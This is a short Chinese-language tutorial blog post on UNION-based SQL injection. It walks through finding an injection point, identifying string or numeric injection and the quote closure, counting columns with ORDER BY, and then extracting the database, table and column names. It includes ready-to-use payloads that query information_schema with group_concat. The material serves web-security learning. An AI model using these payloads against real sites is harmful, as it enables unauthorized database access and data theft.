sql注入之union注入

A2rcher_zjh發表於2020-12-13

聯合查詢注入利用的前提: 必須要有回顯

聯合查詢過程:

  1. 判斷是否存在注入點
  2. 判斷是什麼型別注入(字元型or數字型)
  3. 判斷閉合方式
  4. 查詢列數個數(order by)
    5, 獲得資料庫名
  5. 獲得表名
  6. 獲得欄位名

1. 判斷是否存在注入點 可以用(')單引號顯示資料庫錯誤資訊或者頁面回顯不同
2. 判斷什麼型別(字元型or數字型) 用and 1=1和and 1=2  如果頁面沒有變化說明不是數字型 ,如果有明顯變化說明是數字型
3. 判斷閉合方式 單引號or雙引號..看報錯資訊、
4. 判斷列數個數(order by) order by在mysql中查詢結果是按照指定欄位進行排序的,例如資料庫中有3個欄位,order by查詢就是1,2,3
5. 檢視資料庫資訊and獲得資料庫名 使用group_concat() 
	基本語句:
    
    1' union select 1,(select database()),3--+

    1' union select 1,(select group_concat(schema_name) from information_schema.schemata) --+




6. 獲得表名
	基本語句:

    0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+





7. 獲得欄位名
	基本語句:

    0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='表名'),3 --+